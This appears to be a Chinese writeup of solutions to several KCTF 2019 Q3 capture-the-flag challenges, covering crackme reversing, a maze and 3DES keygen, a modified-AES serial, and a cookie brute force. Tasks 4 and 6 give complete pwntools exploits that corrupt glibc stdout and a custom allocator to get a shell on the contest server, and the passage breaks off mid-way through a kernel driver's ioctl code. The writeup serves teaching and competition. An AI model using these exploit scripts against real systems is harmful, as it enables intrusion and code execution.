首页
社区
课程
招聘
CTF2019 Q3 1,2,4,5,6,7,8,10,11,12,13 题 Writeup
2019-9-24 05:34 7097

CTF2019 Q3 1,2,4,5,6,7,8,10,11,12,13 题 Writeup

2019-9-24 05:34
7097

签到题:乱世鬼雄

程序逻辑等价于检查

hashlib.md5(xor(username, serial)).hexdigest() == 'dae52310067195714ba2cee2332bb866'

由于给了一组满足要求的 username, serial,所以是可以解的,计算 xor(public_serial, public_username, 'KCTF'.ljust(16, '\x00')) 即可。

第二题:血肉佣兵

Google 搜索 simpower site:pediy.com 可以找到一堆作者以前出的题的 writeup。
照猫画虎可以提取出一个 js,里面判断了输入开头必须是 Simpower91
后面看起来也没什么变化,还是传回 Delphi 写的程序里。由于代码完全没变,作者只是把一些明显的字符串改了改。
关键代码定位可以直接参照以前的 writeup,搜索里面的比较大的结构体偏移常数即可。

 

一些对应关系:

simvm: 0C16120912
simvmend: 0D17130A131B121C
orign: 100D161811

提取验证的时候执行的代码之后会发现这次作者完全执行的是一整段 simvm。
simvm 的每个指令长度是 100 字节的一个奇怪结构体。最开头的一个字节是 opcode。
在 474B80 处可以找到一些 mnemonic:

CODE:00474B80                 db 'mov',0              ; Text
CODE:00474B8C                 db 'movzx',0            ; Text
CODE:00474B9C                 db 'cmp',0              ; Text
CODE:00474BA8                 db 'xor',0              ; Text
CODE:00474BB4                 db 'or',0               ; Text
CODE:00474BC0                 db 'and',0              ; Text
CODE:00474BCC                 db 'test',0             ; Text
CODE:00474BDC                 db 'add',0              ; Text
CODE:00474BE8                 db 'sub',0              ; Text
CODE:00474BF4                 db 'imul',0             ; Text
CODE:00474C04                 db 'idiv',0             ; Text
CODE:00474C14                 db 'mul',0              ; Text
CODE:00474C20                 db 'div',0              ; Text
CODE:00474C2C                 db 'inc',0              ; Text
CODE:00474C38                 db 'dec',0              ; Text
CODE:00474C44                 db 'lea',0              ; Text
CODE:00474C50                 db 'shr',0              ; Text
CODE:00474C5C                 db 'shl',0              ; Text
CODE:00474C68                 db 'sar',0              ; Text
CODE:00474C74                 db 'sal',0              ; Text
CODE:00474C80                 db 'call',0             ; Text
CODE:00474C90                 db 'push',0             ; Text
CODE:00474CA0                 db 'pop',0              ; Text
CODE:00474CAC                 db 'pushad',0           ; Text
CODE:00474CBC                 db 'popad',0            ; Text
CODE:00474CCC                 db 'pushfd',0           ; Text
CODE:00474CDC                 db 'popfd',0            ; Text
CODE:00474CEC                 db 'jmp',0              ; Text
CODE:00474CF8                 db 'jz',0               ; Text
CODE:00474D04                 db 'je',0               ; Text
CODE:00474D10                 db 'jnz',0              ; Text
CODE:00474D1C                 db 'jne',0              ; Text
CODE:00474D28                 db 'js',0               ; Text
CODE:00474D34                 db 'jns',0              ; Text
CODE:00474D40                 db 'jc',0               ; Text
CODE:00474D4C                 db 'jnc',0              ; Text
CODE:00474D58                 db 'jo',0               ; Text
CODE:00474D64                 db 'jno',0              ; Text
CODE:00474D70                 db 'ja',0               ; Text
CODE:00474D7C                 db 'jna',0              ; Text
CODE:00474D88                 db 'jae',0              ; Text
CODE:00474D94                 db 'jnae',0             ; Text
CODE:00474DA4                 db 'jg',0               ; Text
CODE:00474DB0                 db 'jng',0              ; Text
CODE:00474DBC                 db 'jge',0              ; Text
CODE:00474DC8                 db 'jnge',0             ; Text
CODE:00474DD8                 db 'jb',0               ; Text
CODE:00474DE4                 db 'jnb',0              ; Text
CODE:00474DF0                 db 'jbe',0              ; Text
CODE:00474DFC                 db 'jnbe',0             ; Text
CODE:00474E0C                 db 'jl',0               ; Text
CODE:00474E18                 db 'jnl',0              ; Text
CODE:00474E24                 db 'jle',0              ; Text
CODE:00474E30                 db 'jnle',0             ; Text
CODE:00474E40                 db 'jp',0               ; Text
CODE:00474E4C                 db 'jnp',0              ; Text
CODE:00474E58                 db 'jpo',0              ; Text
CODE:00474E64                 db 'jpe',0              ; Text

这里的顺序与 004742B4 函数里注册指令 handler 的时候的顺序是一样的,注册指令 handler 的时候传了一个 opcode 参数。
所以不用逆向指令 handler 也可以知道每条指令大概是干嘛的。

 

简单逆一下指令解码的部分,随便输出一下 check 指令。因为指令解码没逆清楚,估计除了 mnemonic 以外基本不对。
但这不影响,结构上可以很明显的看出来是在 check 啥,怎么 check 的。之后到对应的指令的 handler 上下断点把数据拿出来即可。

('mov', 'r14', 'es:', '0x30') # loaded: 0x355000
('mov', 'r14', 'r14', '0x2') # r14 <- byte ptr [0x355002]
('mov', 'r4', 'r14', '0x0') # r4 <- 0x00 (lowest byte of 0x355000)
('cmp', 'r4', 'r0', '0x0') # bytewise compare, 00 vs 01 (?)
('jz', 'r0', 'r0', '0x0') # 
('cmp', 'r8', 'r0', '0x0') # 
('jz', 'r0', 'r0', '0x0') # 
('mov', 'r14', 'r4', '0xffffffe4') # load input string
('call', 'r0', 'r0', '0x0') # rel off 0xFFF6B16D (Get Len maybe?)
('cmp', 'r14', 'r0', '0x0') # compare with 4?
('jnz', 'r0', 'r0', '0x0') # should not jump, i.e. input len == 4

('mov', 'r10', 'r0', '0x0') 
('mov', 'r14', 'r10', '0x0') # Load char 0

('mov', 'r4', 'r14', '0x0') 
('mov', 'r14', 'r10', '0x1') # Load char 1

('mov', 'r4', 'r14', '0x0') 
('mov', 'r14', 'r10', '0x2') # Load char 2

('mov', 'r4', 'r14', '0x0')
('mov', 'r14', 'r10', '0x3') # Load char 3

('mov', 'r4', 'r14', '0x0')

('mov', 'r14', 'r4', '0xffffffe4') # load string Pairer
('movzx', 'r14', 'r14', '0x0') # char 0
('add', 'r14', 'r0', '0x0')    # Add 0x7F
('xor', 'r10', 'r10', '0x0')   # 
('mov', 'r10', 'r4', '0xffffffee') # E0
('cmp', 'r14', 'r10', '0x0')
('jnz', 'r0', 'r0', '0x0')

('mov', 'r14', 'r4', '0xffffffe4')
('movzx', 'r14', 'r14', '0x1') # char 1
('add', 'r14', 'r0', '0x0')
('xor', 'r10', 'r10', '0x0')
('mov', 'r10', 'r4', '0xffffffed') # B2
('cmp', 'r14', 'r10', '0x0')
('jnz', 'r0', 'r0', '0x0')

('mov', 'r14', 'r4', '0xffffffe4')
('movzx', 'r14', 'r14', '0x2') # char 2
('add', 'r14', 'r0', '0x0')
('xor', 'r10', 'r10', '0x0')
('mov', 'r10', 'r4', '0xffffffec') # B1
('cmp', 'r14', 'r10', '0x0')
('jnz', 'r0', 'r0', '0x0')

('mov', 'r14', 'r4', '0xffffffe4')
('movzx', 'r14', 'r14', '0x3') # char 3
('add', 'r14', 'r0', '0x0')
('xor', 'r10', 'r10', '0x0')
('mov', 'r10', 'r4', '0xffffffeb') # B0
('cmp', 'r14', 'r10', '0x0')
('jnz', 'r0', 'r0', '0x0')

('lea', 'r14', 'r4', '0xffff7fd8') # "ok"
('push', 'r14', 'r0', '0x0')       # push ok
('xor', 'r12', 'r12', '0x0')       # clear sth
('mov', 'r10', 'r0', '0x0')        # 
('mov', 'r14', 'r8', '0x338')      # 
('call', 'r0', 'r0', '0x0')        # Some messagebox thing?

# jnz should land here
('jmp', 'r0', 'r0', '0x0')         # bail out

最后答案是 Simpower91a321

第四题:卧薪尝胆

一个 bug 非常多的儿童 glibc & ptmalloc 搏斗题,没什么意思。
这里用的 bug 是 edit 的时候输入的 idx 没检查,从而可以直接改 stdout 的 bug。

 

做法就是先改一次 stdout,leak 指向 libc 里的一些指针,得到 libc 地址,然后再改一次 stdout 控制 rip。
由于 libc 是 2.23,_IO_FILE 的 vtable 可以随便改。

from pwn import *
import json

context.log_level = 'debug'
context.arch = 'amd64'

REMOTE_HOST = '154.8.174.214'
REMOTE_PORT = 10001
TARGET_ELF = './pwn'

libc = ELF('./libc-2.23.so')
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

# Fold
if 1:
  if args.REMOTE:
    r = remote(REMOTE_HOST, REMOTE_PORT)
  else:
    try:
      os.unlink('cid')
    except:
      pass
    context.terminal = ['tmux', 'splitw', '-v', 'sudo', '-E', 'sh', '-c']
    r = process(['docker', 'run', '-i', '--pid', 'host', '--cidfile', os.path.join(os.getcwd(), 'cid'), '--user', '1000:1000', '--rm', '-v', '{}:/work'.format(os.getcwd()), '--workdir', '/work', 'ubuntu:16.04', TARGET_ELF])

    @atexit.register
    def killa():
      cid = read('cid')
      if not cid: return
      print 'Killing container ',
      subprocess.call(['docker', 'kill', cid])

  def attach(**kwargs):
    if args.REMOTE:
      return
    while True:
      try:
        cid = read('cid')
        if not cid: continue
        state = json.loads(subprocess.check_output(['docker', 'inspect', cid]))
        break
      except IOError as e:
        if e.errno != 2:
          raise
        time.sleep(0.1)
    pid = state[0]['State']['Pid']
    gdb.attach(pid, exe=TARGET_ELF, **kwargs)

# Edit -6 to modify stdout structure
payload = flat([
  0xfbad1800, 0,
  0, 0,
]) + '\x00'
r.sendlineafter('>', '3')
r.sendlineafter('idx : ', '-6')
r.sendlineafter('text : ', payload)
r.recvn(8 * 3)
libc.address = u64(r.recvn(8)) - libc.symbols['_IO_file_jumps']
assert libc.address & 0xFFF == 0
log.success('libc base = {:#x}'.format(libc.address))

data = p64(libc.symbols['system']) * 64
r.sendlineafter('>', '1')
r.sendlineafter('size : ', str(len(data)))
r.recvuntil('heap 0 : ')
vtable = int(r.recvline().strip(), 16)
r.sendlineafter('>', '3')
r.sendlineafter('idx : ', '0')
r.sendlineafter('text : ', data)

# attach()

payload = fit({
  0: p32(0xfbad1801) + ';/bin/sh',
  16: [libc.address + 3954339] * 4 + [libc.address + 3954339 + 1, libc.address + 3954339, libc.address + 3954339 + 1],
  104: libc.address + 3950816,
  112: 1,
  120: -1 % 2**64,
  128: 0x000000000b000000,
  136: libc.address + 3958656,
  144: -1 % 2**64,
  160: libc.address + 3950496,
  192: 0xffffffff,
  216: vtable
}, filler='\x00')
print hexdump(payload)
assert '\n' not in payload
r.sendlineafter('>', '3')
r.sendlineafter('idx : ', '-6')
r.sendlineafter('text : ', payload)

r.interactive()

第五题:魅影舞姬

非常乱的 C++ 程序,check 的逻辑大概是把输入切成几段,看成二维迷宫里的路径,走到就算OK。最后跟了一个 3DES。

from Crypto.Cipher import DES3
import collections

kStrangeStar = "**************@************-************--**----*****-***-**-*****-***#**-*****--*****-******-*****-******-------******-*-----******---**-*******-****--*****************"

v6 = kStrangeStar.find('@')

def what(target):
  for i in xrange(0, len(target)):
    for j in xrange(6, -1, -2):
      v1 = (target[i] >> j) & 3
      if v1 == 1:
        v6 += 13
      elif v1 == 2:
        v6 -= 1
      elif v1 == 3:
        v6 += 1
      elif v1 == 0:
        v6 -= 13
      if kStrangeStar[v6] not in '#-':
        return False
  return kStrangeStar[v6] == '#'

grid = '''*************
*@***********
*-***********
*--**----****
*-***-**-****
*-***#**-****
*--*****-****
**-*****-****
**-------****
**-*-----****
**---**-*****
**-****--****
*************'''.split('\n')

def solve(grid):
  flat = ''.join(grid)
  start = flat.find('@')
  end = flat.find('#')
  ans = {}
  ans[start] = (0, [])
  q = collections.deque([])
  q.append(start)
  while len(q):
    cur = q.popleft()
    for dir in xrange(4):
      delta = [-13, 13, -1, 1][dir]
      new = cur + delta
      if new < 0 or new >= len(flat):
        continue
      if flat[new] in '-#' and new not in ans:
        ans[new] = (ans[cur][0] + 1, ans[cur][1] + [dir])
        q.append(new)
  return ans[end]

def assemble(answer):
  print answer
  # assert answer[0] == 24
  nibles = answer[1]
  # assert len(nibles) == 24
  res = ''
  for i in xrange(0, len(nibles), 4):
    x = 0
    for j in xrange(i, min(i + 4, len(nibles))):
      x = (x << 2) | nibles[j]
    res += chr(x)
  return res

part1 = assemble(solve(grid))
grid[4-1], grid[5-1] = grid[5-1], grid[4-1]
grid[9-1], grid[10-1] = grid[10-1], grid[9-1]
grid[10-1], grid[11-1] = grid[11-1], grid[10-1]
part2 = assemble(solve(grid))
grid[5-1], grid[7-1] = grid[7-1], grid[5-1]
grid[9-1], grid[12-1] = grid[12-1], grid[9-1]
grid[11-1], grid[12-1] = grid[12-1], grid[11-1]
part3 = assemble(solve(grid))
grid[2-1], grid[12-1] = grid[12-1], grid[2-1]
grid[9-1] = grid[7-1]
grid[3-1] = grid[5-1]
grid[11-1] = grid[5-1]
grid[7-1] = grid[4-1]
grid[8-1] = grid[4-1]
part4 = assemble(solve(grid))
keyz = part1 + part2 + part3
keyz = keyz.encode('base64').strip()
part4 = DES3.new(keyz).encrypt(part4)

flag = (part1 + part2 + part3 + part4).encode('base64').replace('\n', '')
import hashlib
print hashlib.md5(flag).hexdigest()
print flag

第六题:神秘刺客

作者自己写了一个简单的堆内存分配器,堆块大概长这样:

| size + mask (8 bytes) | Data                 |
| size + mask (8 bytes) | Free space | bk | fd |

Mask:
bit 0: in use
bit 1: artifact of chunk split

BUG 是 free 之后指针没清零,从而任意 double free。
这个简单的分配器里没有任何 hardening,可以先构造一次写一个很大的值到 .bss 上的 size 数组。
这样能控制整个堆区域,接下来控制 free list,把 next 指向 .bss 上的内容指针数组。
修改这里的内容为栈上指针,之后直接修改栈上的返回地址即可。

 

作者写的分配器 mmap 内存的时候设的是 rwx,因此不需要 ROP。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

if args.REMOTE:
  r = remote('154.8.174.214', 10000)
else:
  r = process('./0xbird1')

def alloc(size):
  r.sendlineafter('| ', 'A')
  r.sendlineafter('Size: ', str(size))

def leave():
  r.sendlineafter('| ', 'E')

def free(idx):
  r.sendlineafter('| ', 'F')
  r.sendlineafter('Index: ', str(idx))

def write_heap(idx, data):
  r.sendlineafter('| ', 'W')
  r.recvuntil(str(idx) + ') ')
  addr = int(r.recvuntil(' ').strip(), 16)
  r.sendlineafter('Write addr: ', str(idx))
  r.sendafter('Write value: ', data)
  return addr

def stack_ptr():
  r.sendlineafter('| ', 'N')
  r.recvuntil('Here you go: ')
  return int(r.recvline().strip(), 16)

blob_ptr_array = 0x6020A0
blob_size_array = 0x6023C0

attach = lambda: gdb.attach(r, '''
define dumpheap
  print (void)(0x400B94)()
end
define blobptr
  x/10xg 0x6020A0
end
define blobsize
  x/10xw 0x6023C0
end
''')

stack = stack_ptr() + 316 # Pair to ret of main()
log.success('Stack: {:#x}'.format(stack))

alloc(0x100)
alloc(0x100)
alloc(0x100)
free(3)
free(2)
free(1)

alloc(0x200)
write_heap(4, cyclic(0x100) + fit({
           0: 0x10 | 1 | 2,
  0x8 + 0x10: 0x10, 
  0x20      : 0,
  0x28      : blob_size_array + 4 * 4,
}))
free(2)

sc_addr = write_heap(4, fit({
  0: asm(shellcraft.sh()),
  0x210 - 0x8: 0xde9,
  0xff0 - 0x8: blob_ptr_array + 5 * 8 - 3,
  0xff8 - 0x8: 0,
}))
log.success("Shellcode address: {:#x}".format(sc_addr))
alloc(0xde0)
alloc(0x20)
alloc(0x1000)
write_heap(6, fit({
  3: stack
}, filler='\x00'))
write_heap(7, p64(sc_addr))

# attach()
leave()

r.interactive()

第七题:蜕变重生

纯脑洞题,按照每一位都是 0 或者 1 暴力 cookie 里的 key0 ~ key5。

In [2]: for i in xrange(2**6):
   ...:     r = requests.get('http://154.8.174.214:8080/', headers={'Cookie': 'key0={}; key1={}; key2={}; key3={}; key4={}; key5={}'.format(i&1, (i>>1)&1, (i>>
   ...: 2)&1, (i>>3)&1, (i>>4)&1, (i>>5)&1)})
   ...:     print i, r.content
   ...:
0 Not Admin
1 Not Admin
2 Not Admin
3 Not Admin
4 Not Admin
5 Not Admin
6 Not Admin
7 Not Admin
8 Not Admin
9 Not Admin
10 Not Admin
11 Not Admin
12 Not Admin
13 Not Admin
14 Not Admin
15 Not Admin
16 Not Admin
17 Not Admin
18 Not Admin
19 Not Admin
20 Not Admin
21 Not Admin
22 Not Admin
23 Not Admin
24 Not Admin
25 flag{4E0844E2-705A-4374-9050-F56A10BA9E9B}
26 Not Admin
... <略> ...

第八题:人妒英才

作者通过打出一个提示信息的方式假装实现了一个 ECC,实际上实现的是错的。
但由于后面是把 flag 的每个字符加密之后判断,只要作者实现的那个不知道实际上是什么鬼的东西是个双射就能解,实际上也确实是。
直接用 Frida 暴力跑一下即可。

Interceptor.attach(ptr("0x411249"), {
    onEnter: function(args) {
        var lhs = args[0];
        var rhs = args[1];
        var size = args[2].toInt32();
        for (var i = 0; i < size / 4; i++) {
            if (lhs.readU32() == rhs.readU32()) {
                console.log("OK " + i)
            }
            lhs = lhs.add(4);
            rhs = rhs.add(4);
        }
    }
})
import frida
import sys
import subprocess
import time
import string

with open('script.js', 'rt') as fp:
  script_data = fp.read()

ALPHABET = string.printable.strip()

def on_message(message, data):
  print(message)

for c in ALPHABET:
  print c
  inp = c * 14
  proc = subprocess.Popen(['Ecc_Q3.exe'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

  session = frida.attach(proc.pid)
  script = session.create_script(script_data)

  script.on('message', on_message)
  script.load()

  time.sleep(1.0)

  proc.communicate(inp)

输出的是第几位应该是什么字符,拼起来即可得到答案。

第十题:传家之宝

题目给的是一个洋葱一样的东西。最外层读取输入,然后开始一层一层的解码下一层,迁移代码/数据和栈到另一块内存区域,继续执行。每一层里面都执行了一点点跟 flag 验证有关的逻辑,最后一层执行的特别多。中间似乎有一些 rdtsc 反调试和 in 指令检测 VMware。反正丢进调试器里直接拿给的序列号跑跑试试,发现行为正常,反调试应该影响不到我们。

 

注意到每次跳到下一层之前都写了 fs:8,此时本层的代码都是解码好的,用一个 x64dbg 脚本 dump 下所有代码。

dbh

// Do this manually
// bph fs:8,w,4

mov $last, 0
mov $cnt, 0

looop:
erun
inc $cnt
log "Hit {$cnt}"
find cip, "FF D0"
mov $next, $result
cmp $next, 0
jz finish
erun $next

cmp $last, 0
jz skip
dump:
savedata "Z:\{$cnt-1}.bin",$last,cip+2-$last
log "Dump {$last}, size {cip+2-$last}"

skip:
sti
mov $last, cip
jmp looop

finish:
msg "Done"

第一层和最后一层的代码没有这里找的特征,需要手动存下来,第一层就是整个函数的 epilogue:

push ebp
mov ebp, esp
sub esp, 0x2C

最后一层存成 tail.bin。顺便可以分析出验证逻辑就是把输入的序列号 hex decode 之后进行一些计算,然后和输入的用户名比较,要求相符。

 

接下来,注意到作者保存现场的时候用的方式比较单一,这些代码里面夹杂的真正逻辑都在

popf
pop     edi
pop     esi
pop     edx
pop     ecx
pop     ebx
pop     eax

和对应的 push 之间。写个脚本把它们都提取出来,可以发现每一层里面最前面四条指令是重定位 esi 到数据上,且每一层里的都一样,可以去掉。

from capstone import *

cs = Cs(CS_ARCH_X86, CS_MODE_32)
cs.detail = True

outfp = open('code.bin', 'wb')
outfp.write(b'\x55\x8B\xEC\x83\xEC\x2C')

for i in xrange(2, 2879):
  with open('dumps/%X.bin'%i, 'rb') as fp:
    data = fp.read()

  instrs = list(cs.disasm(data, 0))
  pos = data.find('\x9D\x5F\x5E\x5A\x59\x5B\x58')
  endpos = data.find('\x50\x53\x51\x52\x56\x57\x9C')
  assert pos != -1, i
  assert endpos != -1, i
  for lead in xrange(len(instrs)):
    if instrs[lead].address == pos:
      break
  assert lead != len(instrs)
  cur = lead + 7
  cnt = 0
  while cur < len(instrs) and instrs[cur].address != endpos:
    mnem = instrs[cur].mnemonic
    opstr = instrs[cur].op_str
    if mnem == 'jmp':
      addr = int(opstr, 16)
      for cur in xrange(len(instrs)):
        if instrs[cur].address == addr:
          break
      continue
    if cnt == 0:
      assert mnem == 'call'
    elif cnt == 1:
      assert mnem == 'pop' and opstr == 'esi'
    elif cnt == 2:
      assert mnem == 'sub' and opstr.startswith('esi, 0x40')
    elif cnt == 3:
      assert mnem == 'add' and opstr.startswith('esi, 0x')
    cnt += 1
    if cnt > 4:
      print mnem, opstr
      outfp.write(instrs[cur].bytes)
    cur += 1
  # print '-' * 80
  print

outfp.write('c0eb0730c10fb6c26bc01b'.decode('hex'))

with open('tail.bin', 'rb') as fp:
  fp.seek(0x128)
  outfp.write(fp.read(0x1075 - 0x128))
  outfp.write('\xC3')

outfp.close()

'''
call 0x4e
pop esi
sub esi, 0x401191
add esi, 0x55df39
mov al, byte ptr [esi + 0x1a7]
xor al, byte ptr [esi + 0x1b7]
mov byte ptr [ebp - 1], al
mov al, byte ptr [esi + 0x1aa]
--------------------------------------------------------------------------------
call 0x53
pop esi
sub esi, 0x401196
add esi, 0x55dd7b
xor al, byte ptr [esi + 0x1ba]
mov byte ptr [ebp - 2], al
movzx eax, byte ptr [esi + 0x1a4]
movzx ecx, byte ptr [esi + 0x1b4]
--------------------------------------------------------------------------------
....

Note:
esi Pair to kExpandedKeys
unsigned char g_username[16];
unsigned char tmp;
unsigned char kSBox[256];
unsigned char kExpandedKeys[176];
unsigned char g_serial[16];

Removing esi setup code leads to cleaner output
'''

'''
Code in 1.bin:
seg000:00000192                 push    ebp
seg000:00000193                 mov     ebp, esp
seg000:00000195                 sub     esp, 2Ch

'''

运行即可得到一个 code.bin,它的功能与 CrakeMe.exe (这 exe 的名字有个 typo...)里变换输入序列号的部分完全一致,可以写个脚本用模拟器跑一下验证一下:

from unicorn import *
from unicorn.x86_const import (UC_X86_REG_ESP, UC_X86_REG_EBP, UC_X86_REG_EIP,
                               UC_X86_REG_EAX, UC_X86_REG_EBX, UC_X86_REG_ECX,
                               UC_X86_REG_EDX, UC_X86_REG_ESI, UC_X86_REG_EDI, UC_X86_INS_CALL)
from capstone import *
import struct
from pwnlib.util.fiddling import hexdump

def p32(x):
  return struct.pack('<I', x)

def push(uc, val):
  esp = uc.reg_read(UC_X86_REG_ESP)
  uc.reg_write(UC_X86_REG_ESP, esp - 4)
  uc.mem_write(esp - 4, p32(val))

SBOX = 'D6A82DE32F0D1E90C1E9C2DABC780C67BAD5FC311B30726BF0E5085D7EF740A6750F264ECBA39CAEF2CA89B741639832434A656D37CF6827B32A0A6E6664CCC5FF567A8B4B24C3055E2BDFD144A1588329C8C9339ABB809ED404CD77D0ABE11F381D8D3F8F813BA2DE03B616E676F985A7B4A58C4C0196C6BFDD18E47B7460872288C04262FB9F2055EED947342CB81900E2133A6FAA5106AC452812E0545C49CE93EBA9D86C2595E70B4FFEADBD599B39F8B58602A0B0EAFD10110EF3467D7F84AF095091C7078299E8DBBEB2B914538A35F471733E2E366A8EF6DCF1482361D21CD3693D5B2179701AED17925FB1EF3CA415C47C5752949D4DECFA97F5D75A'.decode('hex')

SUBKEYS = '736E61696C3338393671333430352500E4511D6D88622554BE1316608E2633601192CD7499F0E82027E3FE40A9C5CD20B32F7AA72ADF92870D3C6CC7A4F9A1E7221DEEEE08C27C6905FE10AEA107B149F7D5D5DCFF17A9B5FAE9B91B5BEE0852FFE5D5E500F27C50FA1BC54BA1F5CD19595801D759AA7D87A3B1B8CC024475D5C2C502A09B6F7F2738DEC7EB3A9AB23E61F2B020FA9DCF07C24308ECF8D9BAD262060561989BCA665AD8C28AA2017858'.decode('hex')

assert len(SBOX) == 256
assert len(set(SBOX)) == 256

print 'S-Box:'
print hexdump(SBOX)

assert SUBKEYS.startswith('snail3896q3405%\x00')

print 'Subkeys:'
print hexdump(SUBKEYS)

STACK_LIMIT = 0x19D000
STACK_BASE = 0x1A0000

EXIT_ADDRESS = 0xFFFF0000
DATA_BASE = 0x23330000
BUF = DATA_BASE + len(SBOX) + len(SUBKEYS)

with open('code.bin', 'rb') as fp:
  data = fp.read()

image_base = 0x400000
image_size = (len(data) + 0xFFF) & ~0xFFF

uc = Uc(UC_ARCH_X86, UC_MODE_32)
uc.mem_map(image_base, image_size)
uc.mem_write(image_base, data)

uc.mem_map(STACK_LIMIT, STACK_BASE-STACK_LIMIT)
uc.mem_write(STACK_LIMIT, '\xdd' * (STACK_BASE-STACK_LIMIT))
uc.reg_write(UC_X86_REG_ESP, STACK_BASE-0x800)
uc.reg_write(UC_X86_REG_EBP, STACK_BASE-0x800+0xC)

uc.mem_map(DATA_BASE, 0x1000)
uc.mem_write(DATA_BASE, SBOX)
uc.mem_write(DATA_BASE+len(SBOX), SUBKEYS)

# data
uc.mem_write(BUF, 'F8BE002EC82ED59F731E854EED087FA500'.decode('hex'))

uc.mem_map(EXIT_ADDRESS, 0x1000)
push(uc, EXIT_ADDRESS)

uc.reg_write(UC_X86_REG_ESI, DATA_BASE)
cs = Cs(CS_ARCH_X86, CS_MODE_32)
uc.emu_start(image_base, EXIT_ADDRESS)

print repr(uc.mem_read(BUF, 16)) # 'B54333CE90874B76'

接下来分析提取出的代码。Hex-Rays 可以在其上正常工作。反编译输出里可以看到大量的形如 (xxxx >> 7) * 0x1B 的东西,眼尖的人应该一眼就意识到了这很可能是 Rijndael's finite field 上的乘法操作里的片段。仔细看一下可以确定是个修改过的 AES 解密(看 subkey 是倒着用的就可以认出来了)。主要改过的部分是一些轮里的 MixColumns 和 AddRoundKey 的顺序换了,以及基本每轮过 inv S-box 之后都动了点手脚。对应写出一个加密代码即可:

from array import array

data = map(ord, 'KCTF'.ljust(16, '\x00'))

aes_sbox = array(
    'B',
    '9075b469594797c61ac23aa90e05bb21'
    'b9ba9b92cef26beb7a8fe914e161065f'
    '87e680de45a622379a5039498d02d604'
    '15132f538cd1d73460b09366f0e4d563'
    '1e2c83304c99bd8bdd9f314474f923aa'
    'c396f6cf9d8841f54eaeffe59e1b48ed'
    '7edf842d3d323c0f36e3d817a5333b94'
    'e8d316d47d206d5b0de7427cf4be1cbf'
    '5665c74fc06fb37f812ad0437362d964'
    '07c4eca1f7a776fc2ec854af26f85786'
    'b54d6725f1721f7001a3955d98ac27c1'
    'b6eecc3871b26a2b8ecd10550cadcb78'
    '82080a46f33f77c5515229243e5aa035'
    '5c4be0e2581100fea48a0bcadb79684a'
    '9c5e91037b196ca8c909b7a2faea89ef'
    '18dc28bcd2fdda1db16efb8512b8ab40'.decode('hex')
)

subkeys = '736E61696C3338393671333430352500E4511D6D88622554BE1316608E2633601192CD7499F0E82027E3FE40A9C5CD20B32F7AA72ADF92870D3C6CC7A4F9A1E7221DEEEE08C27C6905FE10AEA107B149F7D5D5DCFF17A9B5FAE9B91B5BEE0852FFE5D5E500F27C50FA1BC54BA1F5CD19595801D759AA7D87A3B1B8CC024475D5C2C502A09B6F7F2738DEC7EB3A9AB23E61F2B020FA9DCF07C24308ECF8D9BAD262060561989BCA665AD8C28AA2017858'.decode('hex')
subkeys = [map(ord, subkeys[i:i+16]) for i in xrange(0, len(subkeys), 16)]

def SubBytesWithTwist(arr, twist=lambda x: x):
  return [twist(aes_sbox[x]) for x in arr]

def AddRoundKey(arr, r):
  return [x ^ subkeys[r][i] for i, x in enumerate(arr)]

def ShiftRows(b):
  b = b[::]
  b[1], b[5], b[9], b[13] = b[5], b[9], b[13], b[1]
  b[2], b[6], b[10], b[14] = b[10], b[14], b[2], b[6]
  b[3], b[7], b[11], b[15] = b[15], b[3], b[7], b[11]
  return b

def GaloisMultiply(a, b):
  """Galois Field multiplicaiton for AES"""
  p = 0
  while b:
    if b & 1:
      p ^= a
    a <<= 1
    if a & 0x100:
      a ^= 0x1b
    b >>= 1

  return p & 0xff

def MixColumn(block):
  block = block[::]
  # Since we're dealing with a transposed matrix, columns are already
  # sequential
  for col in xrange(0, 16, 4):
      v0, v1, v2, v3 = block[col:col + 4]

      block[col] = GaloisMultiply(v0, 2) ^ v3 ^ v2 ^ GaloisMultiply(v1, 3)
      block[col + 1] = GaloisMultiply(v1, 2) ^ v0 ^ v3 ^ GaloisMultiply(v2, 3)
      block[col + 2] = GaloisMultiply(v2, 2) ^ v1 ^ v0 ^ GaloisMultiply(v3, 3)
      block[col + 3] = GaloisMultiply(v3, 2) ^ v2 ^ v1 ^ GaloisMultiply(v0, 3)

  return block

data = AddRoundKey(data, 0)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: (x + 1) % 256)

data = AddRoundKey(data, 1)
data = MixColumn(data)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: (x + 2) % 256)

data = MixColumn(data)
data = AddRoundKey(data, 2)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: x ^ 9)

data = AddRoundKey(data, 3)
data = MixColumn(data)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: x ^ 7)

data = MixColumn(data)
data = AddRoundKey(data, 4)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: (x - 1) % 256)

data = AddRoundKey(data, 5)
data = MixColumn(data)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: x ^ 3)

data = MixColumn(data)
data = AddRoundKey(data, 6)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: x ^ 8)

data = MixColumn(data)
data = AddRoundKey(data, 7)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: x ^ 6)

data = AddRoundKey(data, 8)
data = MixColumn(data)
data = ShiftRows(data)
data = SubBytesWithTwist(data)

# print map(hex, data)
data = MixColumn(data)
# print map(hex, data)
data = AddRoundKey(data, 9)
data = ShiftRows(data)
data = SubBytesWithTwist(data, lambda x: x ^ 9)

data = AddRoundKey(data, 10)

ans = ''.join(map(chr, data))
print ans.encode('hex').upper()

运行即可得到答案。

第十一题:绝地反击

简单逆向结果:

__int64 __fastcall kpwn_ioctl(__int64 file, int cmd, unsigned __int64 args_user)
{
  __int64 ret; // rbx
  Staff *cur_; // r12
  Staff *v7; // rax
  __int64 v8; // rdi
  unsigned __int64 idx; // rbx
  __int64 v10; // rax
  __int64 _idx; // rdx
  Staff *target; // rax
  __int64 size; // rdx
  Staff *cur; // rbx
  __int64 cur_ptr; // rdi
  Staff *_cur; // rax
  __int64 args[3]; // [rsp+0h] [rbp-28h]

  mutex_lock(&lock);
  ret = -22LL;
  switch ( cmd )
  {
    case 0x1336:                                // new staff
      if ( cnt > 7 )
        goto LABEL_39;
      v8 = kmalloc_caches[10];
      idx = cnt;
      staffs[idx].rc = 1LL;
